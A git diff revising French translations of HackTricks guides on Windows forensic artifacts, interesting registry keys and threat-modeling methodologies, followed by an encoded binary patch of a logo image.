fichiers ou de volumes d'ordinateur, même lorsqu'ils sont en cours d'utilisation. Ces sauvegardes se trouvent généralement dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante : @@ -62,9 +60,9 @@ Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient Vous pouvez trouver les fichiers autoenregistrés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Éléments Shell +## Éléments de Shell -Un élément shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier. +Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier. ### Documents Récents (LNK) @@ -77,7 +75,7 @@ Lorsqu'un dossier est créé, un lien vers le dossier, vers le dossier parent et Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, les **temps MAC** de ce fichier, les **informations de volume** où le fichier est stocké et le **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression. -De plus, la **date de création du lien** est le premier **moment** où le fichier original a été **utilisé pour la première fois** et la **date** **modifiée** du fichier de lien est le **dernier** **moment** où le fichier d'origine a été utilisé. +De plus, la **date de création du lien** est la première **fois** que le fichier original a été **utilisé** et la **date** **modifiée** du fichier de lien est la **dernière** **fois** que le fichier d'origine a été utilisé. Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/). @@ -102,7 +100,7 @@ Dans ce cas, les informations vont être enregistrées dans un fichier CSV. ### Jumplists -Ce sont les fichiers récents qui sont indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou être personnalisés**. +Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou être personnalisés**. Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application. @@ -142,7 +140,7 @@ Les fichiers dans le dossier WPDNSE sont une copie des originaux, donc ne surviv Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages concernant le moment où la connexion USB a été produite (recherchez `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective @@ -154,7 +152,7 @@ Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodata La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour la suppression des versions de pilotes obsolètes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes qui ont été inactifs pendant 30 jours. Par conséquent, les pilotes pour les appareils amovibles non connectés au cours des 30 derniers jours peuvent être sujets à suppression. -La tâche est située au chemin suivant : `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +La tâche se trouve au chemin suivant : `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. Une capture d'écran montrant le contenu de la tâche est fournie : ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) @@ -215,7 +213,7 @@ Un **fichier OST** est généré par Microsoft Outlook lorsqu'il est configuré ### Récupération des Pièces Jointes -Les pièces jointes perdues pourraient être récupérables à partir de : +Les pièces jointes perdues peuvent être récupérées à partir de : - Pour **IE10** : `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` - Pour **IE11 et supérieur** : `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` @@ -236,15 +234,15 @@ Le Registre Windows, stockant d'importantes données sur le système et l'activi - `%windir%\System32\Config` pour divers sous-clés `HKEY_LOCAL_MACHINE`. - `%UserProfile%{User}\NTUSER.DAT` pour `HKEY_CURRENT_USER`. -- Windows Vista et les versions ultérieures sauvegardent les fichiers de registre `HKEY_LOCAL_MACHINE` dans `%Windir%\System32\Config\RegBack\`. +- Les versions Vista et ultérieures sauvegardent les fichiers de registre `HKEY_LOCAL_MACHINE` dans `%Windir%\System32\Config\RegBack\`. - De plus, les informations sur l'exécution des programmes sont stockées dans `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` à partir de Windows Vista et Windows 2008 Server. ### Outils Certains outils sont utiles pour analyser les fichiers de registre : -- **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes. +- **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer dans le registre Windows de la session actuelle. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence les clés avec des informations intéressantes. - [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé. - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application GUI capable d'extraire les informations importantes du registre chargé. @@ -292,7 +290,7 @@ Le nom du fichier est créé sous la forme `{program_name}-{hash}.pf` (le hachag Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont préchargés**. Ce fichier contient **des informations sur le nombre d'exécutions**, **les dates** d'exécution et **les fichiers** **ouverts** par le programme. -Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) : +Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -350,7 +348,7 @@ Pour analyser les informations stockées, l'outil [**AppCompatCacheParser**](htt Le fichier **Amcache.hve** est essentiellement une ruche de registre qui enregistre des détails sur les applications qui ont été exécutées sur un système. Il se trouve généralement à `C:\Windows\AppCompat\Programas\Amcache.hve`. -Ce fichier est notable pour stocker des enregistrements de processus récemment exécutés, y compris les chemins vers les fichiers exécutables et leurs hachages SHA1. Ces informations sont inestimables pour suivre l'activité des applications sur un système. +Ce fichier est notable pour stocker des enregistrements des processus récemment exécutés, y compris les chemins vers les fichiers exécutables et leurs hachages SHA1. Ces informations sont inestimables pour suivre l'activité des applications sur un système. Pour extraire et analyser les données de **Amcache.hve**, l'outil [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) peut être utilisé. La commande suivante est un exemple de la façon d'utiliser AmcacheParser pour analyser le contenu du fichier **Amcache.hve** et afficher les résultats au format CSV : ```bash @@ -362,13 +360,13 @@ Le fichier CVS le plus intéressant généré est le `Amcache_Unassociated file ### RecentFileCache -Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires. +Cet artefact ne peut être trouvé que dans W7 à `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires. Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier. ### Tâches planifiées -Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire au format XML. +Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire en tant que XML. ### Services @@ -426,7 +424,7 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de - **Cache Remote Interactive (12)** : Connexion à distance avec des informations d'identification mises en cache. - **Cached Unlock (13)** : Déverrouillage avec des informations d'identification mises en cache. -#### Codes d'état et sous-état pour EventID 4625 : +#### Codes d'état et sous-codes pour EventID 4625 : - **0xC0000064** : Le nom d'utilisateur n'existe pas - Pourrait indiquer une attaque d'énumération de noms d'utilisateur. - **0xC000006A** : Nom d'utilisateur correct mais mot de passe incorrect - Tentative de devinette de mot de passe ou de force brute possible. @@ -483,7 +481,7 @@ Enregistré par l'EventID 4616, les changements d'heure système peuvent compliq Les EventIDs système utiles pour le suivi des appareils USB incluent 20001/20003/10000 pour l'utilisation initiale, 10100 pour les mises à jour de pilotes, et l'EventID 112 de DeviceSetupManager pour les horodatages d'insertion. -#### Événements d'alimentation système +#### Événements d'alimentation du système L'EventID 6005 indique le démarrage du système, tandis que l'EventID 6006 marque l'arrêt. diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 2ca21214c..80f07367a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,7 +1,5 @@ # Clés de Registre Windows Intéressantes -### Clés de Registre Windows Intéressantes - {{#include ../../../banners/hacktricks-training.md}} ### **Informations sur la Version de Windows et le Propriétaire** @@ -43,17 +41,17 @@ ### Shellbags -- Les **Shellbags** non seulement stockent des préférences pour les vues de dossiers mais fournissent également des preuves judiciaires d'accès aux dossiers même si le dossier n'existe plus. Ils sont inestimables pour les enquêtes, révélant l'activité des utilisateurs qui n'est pas évidente par d'autres moyens. +- **Shellbags** non seulement stockent les préférences pour les vues de dossiers mais fournissent également des preuves judiciaires d'accès aux dossiers même si le dossier n'existe plus. Ils sont inestimables pour les enquêtes, révélant l'activité des utilisateurs qui n'est pas évidente par d'autres moyens. ### Informations et Analyse USB -- Les détails stockés dans le registre concernant les appareils USB peuvent aider à retracer quels appareils ont été connectés à un ordinateur, liant potentiellement un appareil à des transferts de fichiers sensibles ou à des incidents d'accès non autorisés. +- Les détails stockés dans le registre concernant les appareils USB peuvent aider à retracer quels appareils ont été connectés à un ordinateur, liant potentiellement un appareil à des transferts de fichiers sensibles ou à des incidents d'accès non autorisé. ### Numéro de Série de Volume - Le **Numéro de Série de Volume** peut être crucial pour suivre l'instance spécifique d'un système de fichiers, utile dans des scénarios judiciaires où l'origine d'un fichier doit être établie à travers différents appareils. -### **Détails sur l'Arrêt** +### **Détails de l'Arrêt** - L'heure et le nombre d'arrêts (ce dernier uniquement pour XP) sont conservés dans **`System\ControlSet001\Control\Windows`** et **`System\ControlSet001\Control\Watchdog\Display`**. @@ -76,7 +74,7 @@ ### **Documents Récents et Fichiers Office** -- Les documents récents et les fichiers Office accessibles sont notés dans `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` et des chemins spécifiques à la version d'Office. +- Les documents récents et les fichiers Office accédés sont notés dans `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` et des chemins spécifiques à la version d'Office. ### **Éléments les Plus Récemment Utilisés (MRU)** diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index f900329a8..ebe1c6042 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,8 +1,10 @@ # Modélisation des Menaces +{{#include /banners/hacktricks-training.md}} + ## Modélisation des Menaces -Bienvenue dans le guide complet de HackTricks sur la Modélisation des Menaces ! Embarquez pour une exploration de cet aspect critique de la cybersécurité, où nous identifions, comprenons et élaborons des stratégies contre les vulnérabilités potentielles d'un système. Ce fil sert de guide étape par étape rempli d'exemples concrets, de logiciels utiles et d'explications faciles à comprendre. Idéal pour les novices comme pour les praticiens expérimentés cherchant à renforcer leurs défenses en cybersécurité. +Bienvenue dans le guide complet de HackTricks sur la Modélisation des Menaces ! Embarquez pour une exploration de cet aspect critique de la cybersécurité, où nous identifions, comprenons et élaborons des stratégies contre les vulnérabilités potentielles dans un système. Ce fil sert de guide étape par étape rempli d'exemples concrets, de logiciels utiles et d'explications faciles à comprendre. Idéal pour les novices comme pour les praticiens expérimentés cherchant à renforcer leurs défenses en cybersécurité. ### Scénarios Couramment Utilisés @@ -19,14 +21,14 @@ Les modèles de menaces présentent souvent des éléments marqués en rouge, sy La Triade CIA est un modèle largement reconnu dans le domaine de la sécurité de l'information, représentant la Confidentialité, l'Intégrité et la Disponibilité. Ces trois piliers forment la base sur laquelle de nombreuses mesures et politiques de sécurité sont construites, y compris les méthodologies de modélisation des menaces. -1. **Confidentialité** : Assurer que les données ou le système ne soient pas accessibles par des individus non autorisés. C'est un aspect central de la sécurité, nécessitant des contrôles d'accès appropriés, du chiffrement et d'autres mesures pour prévenir les violations de données. +1. **Confidentialité** : Assurer que les données ou le système ne sont pas accessibles par des individus non autorisés. C'est un aspect central de la sécurité, nécessitant des contrôles d'accès appropriés, le chiffrement et d'autres mesures pour prévenir les violations de données. 2. **Intégrité** : L'exactitude, la cohérence et la fiabilité des données tout au long de leur cycle de vie. Ce principe garantit que les données ne sont pas modifiées ou altérées par des parties non autorisées. Il implique souvent des sommes de contrôle, du hachage et d'autres méthodes de vérification des données. -3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsque cela est nécessaire. Cela implique souvent de la redondance, de la tolérance aux pannes et des configurations de haute disponibilité pour maintenir les systèmes opérationnels même en cas de perturbations. +3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsque nécessaire. Cela implique souvent de la redondance, de la tolérance aux pannes et des configurations de haute disponibilité pour maintenir les systèmes opérationnels même en cas de perturbations. ### Méthodologies de Modélisation des Menaces -1. **STRIDE** : Développé par Microsoft, STRIDE est un acronyme pour **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, et Elevation of Privilege**. Chaque catégorie représente un type de menace, et cette méthodologie est couramment utilisée lors de la phase de conception d'un programme ou d'un système pour identifier les menaces potentielles. -2. **DREAD** : C'est une autre méthodologie de Microsoft utilisée pour l'évaluation des risques des menaces identifiées. DREAD signifie **Damage potential, Reproducibility, Exploitability, Affected users, et Discoverability**. Chacun de ces facteurs est noté, et le résultat est utilisé pour prioriser les menaces identifiées. +1. **STRIDE** : Développé par Microsoft, STRIDE est un acronyme pour **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Chaque catégorie représente un type de menace, et cette méthodologie est couramment utilisée lors de la phase de conception d'un programme ou d'un système pour identifier les menaces potentielles. +2. **DREAD** : C'est une autre méthodologie de Microsoft utilisée pour l'évaluation des risques des menaces identifiées. DREAD signifie **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Chacun de ces facteurs est noté, et le résultat est utilisé pour prioriser les menaces identifiées. 3. **PASTA** (Process for Attack Simulation and Threat Analysis) : C'est une méthodologie en sept étapes, **centrée sur le risque**. Elle inclut la définition et l'identification des objectifs de sécurité, la création d'un périmètre technique, la décomposition de l'application, l'analyse des menaces, l'analyse des vulnérabilités et l'évaluation des risques/triage. 4. **Trike** : C'est une méthodologie basée sur le risque qui se concentre sur la défense des actifs. Elle part d'une perspective de **gestion des risques** et examine les menaces et les vulnérabilités dans ce contexte. 5. **VAST** (Visual, Agile, and Simple Threat modeling) : Cette approche vise à être plus accessible et s'intègre dans les environnements de développement Agile. Elle combine des éléments des autres méthodologies et se concentre sur **les représentations visuelles des menaces**. @@ -38,7 +40,7 @@ Il existe plusieurs outils et solutions logicielles disponibles qui peuvent **ai ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -Un outil GUI web spider/crawler multi-fonction et multiplateforme avancé pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque. +Un outil GUI de web spider/crawler multi-fonction et multiplateforme avancé pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque. **Utilisation** @@ -83,7 +85,7 @@ Juste un peu d'explication sur les entités : - Processus (L'entité elle-même comme un serveur web ou une fonctionnalité web) - Acteur (Une personne comme un Visiteur de Site Web, un Utilisateur ou un Administrateur) - Ligne de Flux de Données (Indicateur d'Interaction) -- Limite de Confiance (Différents segments ou périmètres de réseau.) +- Limite de Confiance (Différents segments ou portées de réseau.) - Stocker (Choses où les données sont stockées comme des Bases de Données) 5. Créer une Menace (Étape 1) @@ -109,3 +111,6 @@ Maintenant, votre modèle terminé devrait ressembler à quelque chose comme cec ### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) C'est un outil gratuit de Microsoft qui aide à trouver des menaces dans la phase de conception des projets logiciels. Il utilise la méthodologie STRIDE et est particulièrement adapté à ceux qui développent sur la pile de Microsoft. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/images/cyberhelmets-logo.png b/src/images/cyberhelmets-logo.png index c2c9a957b2fb7845264fb4cacb4e0534afa85660..f766e953ae0067247e1a176c851aed6976a9f144 100644 GIT binary patch delta 15394 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 